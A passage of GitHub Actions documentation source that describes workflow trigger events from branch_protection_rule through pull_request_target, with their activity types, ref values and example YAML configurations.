-------------- | ------------ | -------------| +| [`branch_protection_rule`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#branch_protection_rule) | - `created`
- `edited`
- `deleted` | Last commit on default branch | Default branch | + +{% note %} + +**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#branch_protection_rule)." {% data reusables.developer-site.limit_workflow_to_activity_types %} + +{% endnote %} + +{% data reusables.actions.branch-requirement %} + +Runs your workflow when branch protection rules in the workflow repository are changed. For more information about branch protection rules, see "[About protected branches](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches)." For information about the branch protection rule APIs, see "[BranchProtectionRule](/graphql/reference/objects#branchprotectionrule)" in the GraphQL API documentation or "[Branches](/rest/reference/branches)" in the REST API documentation. + +For example, you can run a workflow when a branch protection rule has been `created` or `deleted`: + +```yaml +on: + branch_protection_rule: + types: [created, deleted] +``` + +{% endif %} + +### `check_run` + +| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| --------------------- | -------------- | ------------ | -------------| +| [`check_run`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#check_run) | - `created`
- `rerequested`
- `completed`
-`requested_action` | Last commit on default branch | Default branch | + +{% note %} + +**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#check_run)." {% data reusables.developer-site.limit_workflow_to_activity_types %} + +{% endnote %} + +{% data reusables.actions.branch-requirement %} + +Runs your workflow when activity related to a check run occurs. A check run is an individual test that is part of a check suite. For information, see "[Getting started with the Checks API](/rest/guides/getting-started-with-the-checks-api)." For information about the check run APIs, see "[CheckRun](/graphql/reference/objects#checkrun)" in the GraphQL API documentation or "[Checks](/rest/reference/checks#runs)" in the REST API documentation. + +For example, you can run a workflow when a check run has been `rerequested` or `completed`. + +```yaml +on: + check_run: + types: [rerequested, completed] +``` + +### `check_suite` + +| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| --------------------- | -------------- | ------------ | -------------| +| [`check_suite`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#check_suite) | - `completed` | Last commit on default branch | Default branch | + +{% note %} + +**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#check_suite)." Although only the `started` activity type is supported, specifying the activity type will keep your workflow specific if more activity types are added in the future. {% data reusables.developer-site.limit_workflow_to_activity_types %} + +{% endnote %} + +{% data reusables.actions.branch-requirement %} + +{% note %} + +**Note:** To prevent recursive workflows, this event does not trigger workflows if the check suite was created by {% data variables.product.prodname_actions %}. + +{% endnote %} + +Runs your workflow when check suite activity occurs. A check suite is a collection of the check runs created for a specific commit. Check suites summarize the status and conclusion of the check runs that are in the suite. For information, see "[Getting started with the Checks API](/rest/guides/getting-started-with-the-checks-api)." For information about the check suite APIs, see "[CheckSuite](/graphql/reference/objects#checksuite)" in the GraphQL API documentation or "[Checks](/rest/reference/checks#suites)" in the REST API documentation. + +For example, you can run a workflow when a check suite has been `completed`. + +```yaml +on: + check_suite: + types: [completed] +``` + +### `create` + +| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| --------------------- | -------------- | ------------ | -------------| +| [`create`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#create) | n/a | Last commit on the created branch or tag | Branch or tag created | + +{% note %} + +**Note**: An event will not be created when you create more than three tags at once. + +{% endnote %} + +Runs your workflow when someone creates a Git reference (Git branch or tag) in the workflow's repository. For information about the APIs to create a Git reference, see "[createRef](/graphql/reference/mutations#createref)" in the GraphQL API documentation or "[Create a reference](/rest/reference/git#create-a-reference)" in the REST API documentation. + +For example, you can run a workflow when the `create` event occurs. + +```yaml +on: + create +``` + +### `delete` + +| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| --------------------- | -------------- | ------------ | -------------| +| [`delete`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#delete) | n/a | Last commit on default branch | Default branch | + +{% data reusables.actions.branch-requirement %} + +{% note %} + +**Note**: An event will not be created when you delete more than three tags at once. + +{% endnote %} + +Runs your workflow when someone deletes a Git reference (Git branch or tag) in the workflow's repository. For information about the APIs to delete a Git reference, see "[deleteRef](/graphql/reference/mutations#deleteref)" in the GraphQL API documentation or "[Delete a reference](/rest/reference/git#delete-a-reference)" in the REST API documentation. + +For example, you can run a workflow when the `delete` event occurs. + +```yaml +on: + delete +``` + +### `deployment` + +| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| --------------------- | -------------- | ------------ | -------------| +| [`deployment`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#deployment) | n/a | Commit to be deployed | Branch or tag to be deployed (empty if created with a commit SHA)| + +Runs your workflow when someone creates a deployment in the workflow's repository. Deployments created with a commit SHA may not have a Git ref. For information about the APIs to create a deployment, see "[createDeployment](/graphql/reference/mutations#createdeployment)" in the GraphQL API documentation or "[Deployments](/rest/reference/repos#deployments)" in the REST API documentation. + +For example, you can run a workflow when the `deployment` event occurs. + +```yaml +on: + deployment +``` + +### `deployment_status` + +| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| --------------------- | -------------- | ------------ | -------------| +| [`deployment_status`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#deployment_status) | n/a | Commit to be deployed | Branch or tag to be deployed (empty if commit)| + +{% note %} + +**Note:** When a deployment status's state is set to `inactive`, a workflow run will not be triggered. + +{% endnote %} + +Runs your workflow when a third party provides a deployment status. Deployments created with a commit SHA may not have a Git ref. For information about the APIs to create a deployment status, see "[createDeploymentStatus](/graphql/reference/mutations#createdeploymentstatus)" in the GraphQL API documentation or "[Create a deployment status](/rest/reference/deployments#create-a-deployment-status)" in the REST API documentation. + +For example, you can run a workflow when the `deployment_status` event occurs. + +```yaml +on: + deployment_status +``` + +{% ifversion discussions %} +### `discussion` + +| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| --------------------- | -------------- | ------------ | -------------| +| [`discussion`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#discussion) | - `created`
- `edited`
- `deleted`
- `transferred`
- `pinned`
- `unpinned`
- `labeled`
- `unlabeled`
- `locked`
- `unlocked`
- `category_changed`
- `answered`
- `unanswered` | Last commit on default branch | Default branch | + +{% note %} + +**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#discussion)." {% data reusables.developer-site.limit_workflow_to_activity_types %} + +{% endnote %} + +{% data reusables.actions.branch-requirement %} + +{% data reusables.webhooks.discussions-webhooks-beta %} + +Runs your workflow when a discussion in the workflow's repository is created or modified. For activity related to comments on a discussion, use the [`discussion_comment`](#discussion_comment) event. For more information about discussions, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." For information about the GraphQL API, see "[Discussion](/graphql/reference/objects#discussion)." + +For example, you can run a workflow when a discussion has been `created`, `edited`, or `answered`. + +```yaml +on: + discussion: + types: [created, edited, answered] +``` + +### `discussion_comment` + +| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| --------------------- | -------------- | ------------ | -------------| +| [`discussion_comment`](/developers/webhooks-and-events/webhook-events-and-payloads#discussion_comment) | - `created`
- `edited`
- `deleted`
| Last commit on default branch | Default branch | + +{% note %} + +**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#discussion_comment)." {% data reusables.developer-site.limit_workflow_to_activity_types %} + +{% endnote %} + +{% data reusables.actions.branch-requirement %} + +{% data reusables.webhooks.discussions-webhooks-beta %} + +Runs your workflow when a comment on a discussion in the workflow's repository is created or modified. For activity related to a discussion as opposed to comments on the discussion, use the [`discussion`](#discussion) event. For more information about discussions, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." For information about the GraphQL API, see "[Discussion](/graphql/reference/objects#discussion)." + +For example, you can run a workflow when a discussion comment has been `created` or `deleted`. + +```yaml +on: + discussion_comment: + types: [created, deleted] +``` + +{% endif %} + +### `fork` + +| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| --------------------- | -------------- | ------------ | -------------| +| [`fork`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#fork) | n/a | Last commit on default branch | Default branch | + +{% data reusables.actions.branch-requirement %} + +Runs your workflow when someone forks a repository. For information about the REST API, see "[Create a fork](/rest/reference/repos#create-a-fork)." + +For example, you can run a workflow when the `fork` event occurs. + +```yaml +on: + fork +``` + +### `gollum` + +| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| --------------------- | -------------- | ------------ | -------------| +| [`gollum`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#gollum) | n/a | Last commit on default branch | Default branch | + +{% data reusables.actions.branch-requirement %} + +Runs your workflow when someone creates or updates a Wiki page. For more information, see "[About wikis](/communities/documenting-your-project-with-wikis/about-wikis)." + +For example, you can run a workflow when the `gollum` event occurs. + +```yaml +on: + gollum +``` + +### `issue_comment` + +| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| --------------------- | -------------- | ------------ | -------------| +| [`issue_comment`](/developers/webhooks-and-events/webhook-events-and-payloads#issue_comment) | - `created`
- `edited`
- `deleted`
| Last commit on default branch | Default branch | + +{% note %} + +**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#issue_comment)." {% data reusables.developer-site.limit_workflow_to_activity_types %} + +{% endnote %} + +{% data reusables.actions.branch-requirement %} + +Runs your workflow when an issue or pull request comment is created, edited, or deleted. For information about the issue comment APIs, see "[IssueComment](/graphql/reference/objects#issuecomment)" in the GraphQL API documentation or "[Issue comments](/developers/webhooks-and-events/webhook-events-and-payloads#issue_comment)" in the REST API documentation. + +For example, you can run a workflow when an issue or pull request comment has been `created` or `deleted`. + +```yaml +on: + issue_comment: + types: [created, deleted] +``` + +#### `issue_comment` on issues only or pull requests only + +The `issue_comment` event occurs for comments on both issues and pull requests. You can use the `github.event.issue.pull_request` property in a conditional to take different action depending on whether the triggering object was an issue or pull request. + +For example, this workflow will run the `pr_commented` job only if the `issue_comment` event originated from a pull request. It will run the `issue_commented` job only if the `issue_comment` event originated from an issue. + +```yaml +on: issue_comment + +jobs: + pr_commented: + # This job only runs for pull request comments + name: PR comment + if: {% raw %}${{ github.event.issue.pull_request }}{% endraw %} + runs-on: ubuntu-latest + steps: + - run: | + echo A comment on PR $NUMBER + env: + NUMBER: {% raw %}${{ github.event.issue.number }}{% endraw %} + + issue_commented: + # This job only runs for issue comments + name: Issue comment + if: {% raw %}${{ !github.event.issue.pull_request }}{% endraw %} + runs-on: ubuntu-latest + steps: + - run: | + echo A comment on issue $NUMBER + env: + NUMBER: {% raw %}${{ github.event.issue.number }}{% endraw %} +``` + +### `issues` + +| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| --------------------- | -------------- | ------------ | -------------| +| [`issues`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#issues) | - `opened`
- `edited`
- `deleted`
- `transferred`
- `pinned`
- `unpinned`
- `closed`
- `reopened`
- `assigned`
- `unassigned`
- `labeled`
- `unlabeled`
- `locked`
- `unlocked`
- `milestoned`
- `demilestoned` | Last commit on default branch | Default branch | + +{% note %} + +**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#issues)." {% data reusables.developer-site.limit_workflow_to_activity_types %} + +{% endnote %} + +{% data reusables.actions.branch-requirement %} + +Runs your workflow when an issue in the workflow's repository is created or modified. For activity related to comments in an issue, use the [`issue_comment`](#issue_comment) event. For more information about issues, see "[About issues](/issues/tracking-your-work-with-issues/about-issues)." For information about the issue APIs, see "[Issue](/graphql/reference/objects#issue)" in the GraphQL API documentation or "[Issues](/rest/reference/issues)" in the REST API documentation. + +For example, you can run a workflow when an issue has been `opened`, `edited`, or `milestoned`. + +```yaml +on: + issues: + types: [opened, edited, milestoned] +``` + +### `label` + +| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| --------------------- | -------------- | ------------ | -------------| +| [`label`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#label) | - `created`
- `edited`
- `deleted`
| Last commit on default branch | Default branch | + +{% note %} + +**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#label)." {% data reusables.developer-site.limit_workflow_to_activity_types %} + +{% endnote %} + +{% data reusables.actions.branch-requirement %} + +Runs your workflow when a label in your workflow's repository is created or modified. For more information about labels, see "[Managing labels](/issues/using-labels-and-milestones-to-track-work/managing-labels)." For information about the label APIs, see "[Label](/graphql/reference/objects#label)" in the GraphQL API documentation or "[Labels](/rest/reference/issues#labels)" in the REST API documentation. + +If you want to run your workflow when a label is added to or removed from an issue, pull request, or discussion, use the `labeled` or `unlabeled` activity types for the [`issues`](#issues), [`pull_request`](#pull_request), [`pull_request_target`](#pull_request_target), or [`discussion`](#discussion) events instead. + +For example, you can run a workflow when a label has been `created` or `deleted`. + +```yaml +on: + label: + types: [created, deleted] +``` + +{% ifversion fpt or ghec %} + +### `merge_group` + +| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| --------------------- | -------------- | ------------ | -------------| +| [`merge_group`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#merge_group) | `checks_requested` | SHA of the merge group | Ref of the merge group | + +{% data reusables.pull_requests.merge-queue-beta %} + +{% note %} + +**Note**: {% data reusables.developer-site.multiple_activity_types %} Although only the `checks_requested` activity type is supported, specifying the activity type will keep your workflow specific if more activity types are added in the future. For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#merge_group)." {% data reusables.developer-site.limit_workflow_to_activity_types %} + +{% endnote %} + +Runs your workflow when a pull request is added to a merge queue, which adds the pull request to a merge group. For more information see "[Merging a pull request with a merge queue](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request-with-a-merge-queue)". + +For example, you can run a workflow when the `checks_requested` activity has occurred. + +```yaml +on: + merge_group: + types: [checks_requested] + +``` + +{% endif %} +### `milestone` + +| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| --------------------- | -------------- | ------------ | -------------| +| [`milestone`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#milestone) | - `created`
- `closed`
- `opened`
- `edited`
- `deleted`
| Last commit on default branch | Default branch | + +{% note %} + +**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#milestone)." {% data reusables.developer-site.limit_workflow_to_activity_types %} + +{% endnote %} + +{% data reusables.actions.branch-requirement %} + +Runs your workflow when a milestone in the workflow's repository is created or modified. For more information about milestones, see "[About milestones](/issues/using-labels-and-milestones-to-track-work/about-milestones)." For information about the milestone APIs, see "[Milestone](/graphql/reference/objects#milestone)" in the GraphQL API documentation or "[Milestones](/rest/reference/issues#milestones)" in the REST API documentation. + +If you want to run your workflow when an issue is added to or removed from a milestone, use the `milestoned` or `demilestoned` activity types for the [`issues`](#issues) event instead. + +For example, you can run a workflow when a milestone has been `opened` or `deleted`. + +```yaml +on: + milestone: + types: [opened, deleted] +``` + +### `page_build` + +| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| --------------------- | -------------- | ------------ | -------------| +| [`page_build`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#page_build) | n/a | Last commit on default branch | n/a | + +{% data reusables.actions.branch-requirement %} + +Runs your workflow when someone pushes to a branch that is the publishing source for {% data variables.product.prodname_pages %}, if {% data variables.product.prodname_pages %} is enabled for the repository. For more information about {% data variables.product.prodname_pages %} publishing sources, see "[Configuring a publishing source for your GitHub Pages site](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site)." For information about the REST API, see "[Pages](/rest/reference/repos#pages)." + +For example, you can run a workflow when the `page_build` event occurs. + +```yaml +on: + page_build +``` + +### `project` + +| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| --------------------- | -------------- | ------------ | -------------| +| [`project`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#project) | - `created`
- `closed`
- `reopened`
- `edited`
- `deleted`
| Last commit on default branch | Default branch | + +{% note %} + +**Note**: {% data reusables.developer-site.multiple_activity_types %} The `edited` activity type refers to when a project board, not a column or card on the project board, is edited. For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#project)." {% data reusables.developer-site.limit_workflow_to_activity_types %} + +{% endnote %} + +{% data reusables.actions.branch-requirement %} + +{% note %} + +**Note**: This event only occurs for projects owned by the workflow's repository, not for organization-owned or user-owned projects or for projects owned by another repository. + +{% endnote %} + +{% ifversion fpt or ghec %} +{% note %} + +**Note**: This event only occurs for {% data variables.product.prodname_projects_v1 %}. + +{% endnote %} +{% endif %} + +Runs your workflow when a project board is created or modified. For activity related to cards or columns in a project board, use the [`project_card`](#project_card) or [`project_column`](#project_column) events instead. For more information about project boards, see "[About project boards](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards)." For information about the project board APIs, see "[Project](/graphql/reference/objects#project)" in the GraphQL API documentation or "[Projects](/rest/reference/projects)" in the REST API documentation. + +For example, you can run a workflow when a project has been `created` or `deleted`. + +```yaml +on: + project: + types: [created, deleted] +``` + +### `project_card` + +| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| --------------------- | -------------- | ------------ | -------------| +| [`project_card`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#project_card) | - `created`
- `moved`
- `converted` to an issue
- `edited`
- `deleted` | Last commit on default branch | Default branch | + +{% note %} + +**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#project_card)." {% data reusables.developer-site.limit_workflow_to_activity_types %} + +{% endnote %} + +{% data reusables.actions.branch-requirement %} + +{% note %} + +**Note**: This event only occurs for projects owned by the workflow's repository, not for organization-owned or user-owned projects or for projects owned by another repository. + +{% endnote %} + +{% ifversion fpt or ghec %} +{% note %} + +**Note**: This event only occurs for {% data variables.product.prodname_projects_v1 %}. + +{% endnote %} +{% endif %} + +Runs your workflow when a card on a project board is created or modified. For activity related to project boards or columns in a project board, use the [`project`](#project) or [`project_column`](#project_column) event instead. For more information about project boards, see "[About project boards](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards)." For information about the project card APIs, see "[ProjectCard](/graphql/reference/objects#projectcard)" in the GraphQL API documentation or "[Project cards](/rest/reference/projects#cards)" in the REST API documentation. + +For example, you can run a workflow when a project card has been `created` or `deleted`. + +```yaml +on: + project_card: + types: [created, deleted] +``` + +### `project_column` + +| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| --------------------- | -------------- | ------------ | -------------| +| [`project_column`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#project_column) | - `created`
- `updated`
- `moved`
- `deleted` | Last commit on default branch | Default branch | + +{% note %} + +**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#project_column)." {% data reusables.developer-site.limit_workflow_to_activity_types %} + +{% endnote %} + +{% data reusables.actions.branch-requirement %} + +{% note %} + +**Note**: This event only occurs for projects owned by the workflow's repository, not for organization-owned or user-owned projects or for projects owned by another repository. + +{% endnote %} + +{% ifversion fpt or ghec %} +{% note %} + +**Note**: This event only occurs for {% data variables.product.prodname_projects_v1 %}. + +{% endnote %} +{% endif %} + +Runs your workflow when a column on a project board is created or modified. For activity related to project boards or cards in a project board, use the [`project`](#project) or [`project_card`](#project_card) event instead. For more information about project boards, see "[About project boards](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards)." For information about the project column APIs, see "[Project Column](/graphql/reference/objects#projectcolumn)" in the GraphQL API documentation or "[Project columns](/rest/reference/projects#columns)" in the REST API documentation. + +For example, you can run a workflow when a project column has been `created` or `deleted`. + +```yaml +on: + project_column: + types: [created, deleted] +``` + +### `public` + +| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| --------------------- | -------------- | ------------ | -------------| +| [`public`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#public) | n/a | Last commit on default branch | Default branch | + +{% data reusables.actions.branch-requirement %} + +Runs your workflow when your workflow's repository changes from private to public. For information about the REST API, see "[Edit repositories](/rest/reference/repos#edit)." + +For example, you can run a workflow when the `public` event occurs. + +```yaml +on: + public +``` + +### `pull_request` + +| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| --------------------- | -------------- | ------------ | -------------| +| [`pull_request`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#pull_request) | - `assigned`
- `unassigned`
- `labeled`
- `unlabeled`
- `opened`
- `edited`
- `closed`
- `reopened`
- `synchronize`
- `converted_to_draft`
- `ready_for_review`
- `locked`
- `unlocked`
- `review_requested`
- `review_request_removed`
- `auto_merge_enabled`
- `auto_merge_disabled` | Last merge commit on the `GITHUB_REF` branch | PR merge branch `refs/pull/:prNumber/merge` | + +{% note %} + +**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#pull_request)." By default, a workflow only runs when a `pull_request` event's activity type is `opened`, `synchronize`, or `reopened`. To trigger workflows by different activity types, use the `types` keyword. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions#onevent_nametypes)." + +{% endnote %} + +{% note %} + +**Note:** Workflows will not run on `pull_request` activity if the pull request has a merge conflict. The merge conflict must be resolved first. + +Conversely, workflows with the `pull_request_target` event will run even if the pull request has a merge conflict. Before using the `pull_request_target` trigger, you should be aware of the security risks. For more information, see [`pull_request_target`](#pull_request_target). + +{% endnote %} + +Runs your workflow when activity on a pull request in the workflow's repository occurs. For example, if no activity types are specified, the workflow runs when a pull request is opened or reopened or when the head branch of the pull request is updated. For activity related to pull request reviews, pull request review comments, or pull request comments, use the [`pull_request_review`](#pull_request_review), [`pull_request_review_comment`](#pull_request_review_comment), or [`issue_comment`](#issue_comment) events instead. For information about the pull request APIs, see "[PullRequest](/graphql/reference/objects#pullrequest)" in the GraphQL API documentation or "[Pull requests](/rest/reference/pulls)" in the REST API documentation. + +Note that `GITHUB_SHA` for this event is the last merge commit of the pull request merge branch. If you want to get the commit ID for the last commit to the head branch of the pull request, use `github.event.pull_request.head.sha` instead. + +For example, you can run a workflow when a pull request has been opened or reopened. + +```yaml +on: + pull_request: + types: [opened, reopened] +``` + +You can use the event context to further control when jobs in your workflow will run. For example, this workflow will run when a review is requested on a pull request, but the `specific_review_requested` job will only run when a review by `octo-team` is requested. + +```yaml +on: + pull_request: + types: [review_requested] +jobs: + specific_review_requested: + runs-on: ubuntu-latest + if: {% raw %}${{ github.event.requested_team.name == 'octo-team'}}{% endraw %} + steps: + - run: echo 'A review from octo-team was requested' +``` + +#### Running your workflow based on the head or base branch of a pull request + +You can use the `branches` or `branches-ignore` filter to configure your workflow to only run on pull requests that target specific branches. For more information, see "[Workflow syntax for GitHub Actions](/actions/learn-github-actions/workflow-syntax-for-github-actions#onpull_requestpull_request_targetbranchesbranches-ignore)." + +For example, this workflow will run when someone opens a pull request that targets a branch whose name starts with `releases/`: + +```yaml +on: + pull_request: + types: + - opened + branches: + - 'releases/**' +``` + +{% note %} + +**Note:** {% data reusables.actions.branch-paths-filter %} For example, the following workflow will only run when a pull request that includes a change to a JavaScript (`.js`) file is opened on a branch whose name starts with `releases/`: + +```yaml +on: + pull_request: + types: + - opened + branches: + - 'releases/**' + paths: + - '**.js' +``` + +{% endnote %} + +To run a job based on the pull request's head branch name (as opposed to the pull request's base branch name), use the `github.head_ref` context in a conditional. For example, this workflow will run whenever a pull request is opened, but the `run_if` job will only execute if the head of the pull request is a branch whose name starts with `releases/`: + +```yaml +on: + pull_request: + types: + - opened +jobs: + run_if: + if: startsWith(github.head_ref, 'releases/') + runs-on: ubuntu-latest + steps: + - run: echo "The head of this PR starts with 'releases/'" +``` + +#### Running your workflow based on files changed in a pull request + +You can also configure your workflow to run when a pull request changes specific files. For more information, see "[Workflow syntax for GitHub Actions](/actions/learn-github-actions/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore)." + +For example, this workflow will run when a pull request includes a change to a JavaScript file (`.js`): + +```yaml +on: + pull_request: + paths: + - '**.js' +``` + +{% note %} + +**Note:** {% data reusables.actions.branch-paths-filter %} For example, the following workflow will only run when a pull request that includes a change to a JavaScript (`.js`) file is opened on a branch whose name starts with `releases/`: + +```yaml +on: + pull_request: + types: + - opened + branches: + - 'releases/**' + paths: + - '**.js' +``` + +{% endnote %} + +#### Running your workflow when a pull request merges + +When a pull request merges, the pull request is automatically closed. To run a workflow when a pull request merges, use the `pull_request` `closed` event type along with a conditional that checks the `merged` value of the event. For example, the following workflow will run whenever a pull request closes. The `if_merged` job will only run if the pull request was also merged. + +```yaml +on: + pull_request: + types: + - closed + +jobs: + if_merged: + if: github.event.pull_request.merged == true + runs-on: ubuntu-latest + steps: + - run: | + echo The PR was merged +``` + +{% data reusables.developer-site.pull_request_forked_repos_link %} + +### `pull_request_comment` (use `issue_comment`) + +To run your workflow when a comment on a pull request (not on a pull request's diff) is created, edited, or deleted, use the [`issue_comment`](#issue_comment) event. For activity related to pull request reviews or pull request review comments, use the [`pull_request_review`](#pull_request_review) or [`pull_request_review_comment`](#pull_request_review_comment) events. + +### `pull_request_review` + +| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| --------------------- | -------------- | ------------ | -------------| +| [`pull_request_review`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#pull_request_review) | - `submitted`
- `edited`
- `dismissed` | Last merge commit on the `GITHUB_REF` branch | PR merge branch `refs/pull/:prNumber/merge` | + +{% note %} + +**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#pull_request_review)." {% data reusables.developer-site.limit_workflow_to_activity_types %} + +{% endnote %} + +Runs your workflow when a pull request review is submitted, edited, or dismissed. A pull request review is a group of pull request review comments in addition to a body comment and a state. For activity related to pull request review comments or pull request comments, use the [`pull_request_review_comment`](#pull_request_review_comment) or [`issue_comment`](#issue_comment) events instead. For information about the pull request review APIs, see "[PullRequestReview](/graphql/reference/objects#pullrequest)" in the GraphQL API documentation or "[Pull request reviews](/rest/reference/pulls#reviews)" in the REST API documentation. + +For example, you can run a workflow when a pull request review has been `edited` or `dismissed`. + +```yaml +on: + pull_request_review: + types: [edited, dismissed] +``` + +#### Running a workflow when a pull request is approved + +To run your workflow when a pull request has been approved, you can trigger your workflow with the `submitted` type of `pull_request_review` event, then check the review state with the `github.event.review.state` property. For example, this workflow will run whenever a pull request review is submitted, but the `approved` job will only run if the submitted review is an approving review: + +```yaml +on: + pull_request_review: + types: [submitted] + +jobs: + approved: + if: github.event.review.state == 'approved' + runs-on: ubuntu-latest + steps: + - run: echo "This PR was approved" +``` + +{% data reusables.developer-site.pull_request_forked_repos_link %} + +### `pull_request_review_comment` + +| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| --------------------- | -------------- | ------------ | -------------| +| [`pull_request_review_comment`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#pull_request_review_comment) | - `created`
- `edited`
- `deleted`| Last merge commit on the `GITHUB_REF` branch | PR merge branch `refs/pull/:prNumber/merge` | + +{% note %} + +**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#pull_request_review_comment)." {% data reusables.developer-site.limit_workflow_to_activity_types %} + +{% endnote %} + +Runs your workflow when a pull request review comment is modified. A pull request review comment is a comment on a pull request's diff. For activity related to pull request reviews or pull request comments, use the [`pull_request_review`](#pull_request_review) or [`issue_comment`](#issue_comment) events instead. For information about the pull request review comment APIs, see "[PullRequestReviewComment](/graphql/reference/objects#pullrequestreviewcomment)" in the GraphQL API documentation or "[Review comments](/rest/reference/pulls#comments)" in the REST API documentation. + +For example, you can run a workflow when a pull request review comment has been `created` or `deleted`. + +```yaml +on: + pull_request_review_comment: + types: [created, deleted] +``` + +{% data reusables.developer-site.pull_request_forked_repos_link %} + +### `pull_request_target` + +| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| --------------------- | -------------- | ------------ | -------------| +| [`pull_request`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#pull_request) | - `assigned`
- `unassigned`
- `labeled`
- `unlabeled`
- `opened`
- `edited`
- `closed`
- `reopened`
- `synchronize`
- `converted_to_draft`
- `ready_for_review`
- `locked`
- `unlocked`
- `review_requested`
- `review_request_removed`
- `auto_merge_enabled`
